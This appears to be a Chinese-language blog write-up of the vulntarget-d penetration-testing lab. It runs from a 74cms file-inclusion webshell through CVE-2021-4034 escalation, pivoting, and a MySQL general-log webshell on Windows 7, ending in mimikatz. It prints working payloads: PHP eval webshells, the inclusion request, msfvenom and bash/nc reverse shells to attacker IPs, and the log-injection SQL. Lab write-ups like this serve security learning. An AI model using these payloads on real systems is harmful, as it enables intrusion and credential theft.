vulntarget-d-wp

发布时间 2023-08-22 15:35:32作者: lockly

vulntarget-d

配置信息

系统 ip
kali 192.168.130.5
ubuntu 18 ip1: 192.168.130.8 ip2: 10.0.10.1
win7 10.0.10.134

网卡修改

ubuntu如果配置上双网卡没显示就如下操作:

// 修改配置文件
sudo vim /etc/network/interfaces
// 之后重启网络
sudo /etc/init.d/networking restart

文件内如下,也可以改成了静态的ip,这个随意。

image-20230708195208660

最后用列出所有网卡查看修改的情况, 网卡配置完成。

image-20230708195139943

实战

web打点

信息收集

发现了3306的MySQL有未授权,然后8888有个登录。

image-20230708195114105

用fscan扫一下,发现8888那有个登录入口一眼宝塔, 81有个骑士cms。

image-20230708195945689

在网页底部找到他的版本信息v6.0.20就可以去搜索历史漏洞。

image-20230708200737743

骑士cms文件包含

去网上搜了利用的文章,先用post写入一句话。

variable=1&tpl=<?php fputs(fopen("110.php","w"),"<?php eval(\$_POST[110]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

image-20230821145158836

然后开始包含日志文件,日志文件要和当天的日期一致。

variable=1&tpl=data/Runtime/Logs/Home/23_08_21.log

image-20230821145426286

这里有个点,当写的文件名是shell.php的时候会被宝塔给拦截了但是去Ubuntu里面看确实是写入了,这里直接换个文件名就ok的。

image-20230821150106089

内网渗透

Ubuntu提权

连上哥斯拉上来丝滑三连发现第二个网段,转战msf进行提权。

image-20230821145753365

本来想偷懒直接用哥斯拉反弹过去的,但是效果不好一下就会断掉。

image-20230709202344337

老老实实传msf?上去。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.130.5 LPORT=6666 -f elf > 110.elf
handler -p linux/x86/meterpreter/reverse_tcp -H 192.168.130.5 -P 6666

image-20230821153250611

下载提权脚本来看看入手点,但是很奇怪赋权之后执行了报错。先在msf这里挂个提权模块待会等结果。

run post/multi/recon/local_exploit_suggester

image-20230821153449045

在哥斯拉里面试了一下发现了报错,出现这个原因一般是函数被ban了。

image-20230821153720403

按前面的步骤写一个phpinfo(),可以看到被ban的还挺多的。

image-20230821153855926

看了一下它上面有vim,然后也找到了php.ini可以试着改一手,先反弹shell过去。

bash -i >& /dev/tcp/192.168.130.5/9999 0>&1

image-20230821160257859

有python环境升级交互式shell,定位到php.ini。

image-20230821155315894

但是是真离谱进不了命令行模式进行移动,esc, Ctrl + [, Ctrl+o都不行,Ctrl+c就直接断了。

image-20230821155806317

完全交互式shell

搜到一个升级到完全交互式shell的方法,先用这种方式反弹shell。然后还是正常的升级交互式shell。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.105 6667 >/tmp/f

python3 -c 'import pty;pty.spawn("/bin/bash")';

接着设置环境变量, Ctrl+z将shell发送到后台, 设置 shell 以通过反向 shell 发送控制字符和其他原始输入。使用以下stty命令来执行此操作。之后再输入reset。

export TERM=xterm    // 允许clear
Ctrl + z 
stty raw -echo;fg    
reset

然后此时就可以正常进入普通模式和命令模式,找到disable_functions的地方。

image-20230821162513625

我真的服辣?我是**。

image-20230821162729774

回过头去看了一下msf的结果,有个cve-2021-4034

image-20230821164237761

找到一个exp提权成功,exp传送门? GayHub - 全球最大 同性交友网站

image-20230821163305066

流量转发

再运行之前的?子上线msf,再创建路由入段(没找到chisel就寄希望于msf的socks试试)。

run autoroute -s 10.0.10.0/24
run autoroute -p  

image-20230821165033097

不成不成,太容易断了最后还是挂上frp,但是配置proxychains让fscan开扫扫不到一个?但是使用他内置的flag可以正常扫到。

这里可以看到除开本机和10.0.10.3, 就是10.0.10.2存活。

image-20230821210423061

根据结果得知10.0.10.2是Win7,其他指纹信息没有什么有用的。

root@kali ~/Desktop » ./fscan_amd64 -h 10.0.10.1-128 -socks5 192.168.130.5:1515     

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
Socks5Proxy: socks5://192.168.130.5:1515
start infoscan
10.0.10.2:80 open
10.0.10.3:80 open
10.0.10.3:81 open
10.0.10.2:135 open
10.0.10.1:135 open
10.0.10.2:139 open
10.0.10.2:445 open
10.0.10.2:3306 open
10.0.10.3:3306 open
10.0.10.3:8080 open
10.0.10.3:888 open
10.0.10.3:1080 open                                                                        
10.0.10.1:8082 open                                                                        
10.0.10.3:8888 open
[*] alive ports len is: 14                                                                       
start vulscan                                                                                    
[*] WebTitle: http://10.0.10.3          code:200 len:1326   title:没有找到站点                   
[*] NetInfo:
[*]10.0.10.1
   [->]Lockly
   [->]172.31.224.1
   [->]192.168.130.1
   [->]10.0.10.1
   [->]192.168.43.233
   [->]240e:468:f2f3:21c0:32c5:5ebe:ccd1:1d9
   [->]240e:468:f2f3:21c0:c9f6:cb76:c5d6:839d
[*] WebTitle: http://10.0.10.2          code:200 len:11     title:None
[*] WebTitle: http://10.0.10.3:8080     code:404 len:9      title:None
[*] 10.0.10.2  (Windows 7 Ultimate 7601 Service Pack 1)
[*] WebTitle: http://10.0.10.3:888      code:404 len:548    title:404 Not Found
[*] WebTitle: http://10.0.10.3:81       code:200 len:127210 title:骑士PHP高端人才系统(www.74cms.com)
[*] WebTitle: http://10.0.10.3:8888     code:302 len:219    title:Redirecting... 跳转url: http://10.0.10.3:8888/login
[*] NetInfo:
[*]10.0.10.2
   [->]WIN-D4S86JO2R26
   [->]10.0.10.2
[*] WebTitle: http://10.0.10.1:8082     code:400 len:18     title:None
已完成 14/14
[*] 扫描结束,耗时: 4m45.627909432s

这里奇怪的就是proxychains firefox是能正常访问到10.0.10.2他的站点的,但是挂给工具扫就是没用

image-20230821195046593

真是鬼来了dirb和dirsearch走proxychains又是正常的,nmap,fscan一概扫不到?。dirb结果有一个php探针和phpmyadin的登录页面。

image-20230821220327044

除开这两个然后在dirb中还有一个l.php。

image-20230821222449028

这个l.php是个php探针,底下连接数据库那里弱口令root:root一尝试就出来了。

image-20230821223413144

全局日志写入一句话

查看全局日志是否开启,这里的原始位置可以留个记录,后续写完之后复原日志善始善终?,但是这里显示有点问题我就没负责了。

SHOW GLOBAL VARIABLES LIKE '%general%';

image-20230821224253954

开启全局日志,之后查看一下确认开了就OK。

SET GLOBAL GENERAL_LOG=ON;
SET GLOBAL GENERAL_LOG_FILE = 'C:/phpstudy/PHPTutorial/www/t.php';

image-20230821230808555

将?子写入日志。

select '<?php eval($_POST["hi"]);?>'

image-20230821225527301

可以访问到t.php,连接上就没问题。

image-20230821230640436

免杀上线

发现里面有火绒,要考虑做一下免杀。

image-20230821231725973

免杀有时效性就没记录了,这台机器不出网,所以要用正向马。然后上传免杀?之后,开启监听拿到了会话。

handler -p windows/meterpreter/bind_tcp -H 10.0.10.2 -P 4444

image-20230822003052226

后续的图忘了截了,将进程迁移到64位上。用mimikatz抓密码,3389上才艺上去一眼就能看到flag。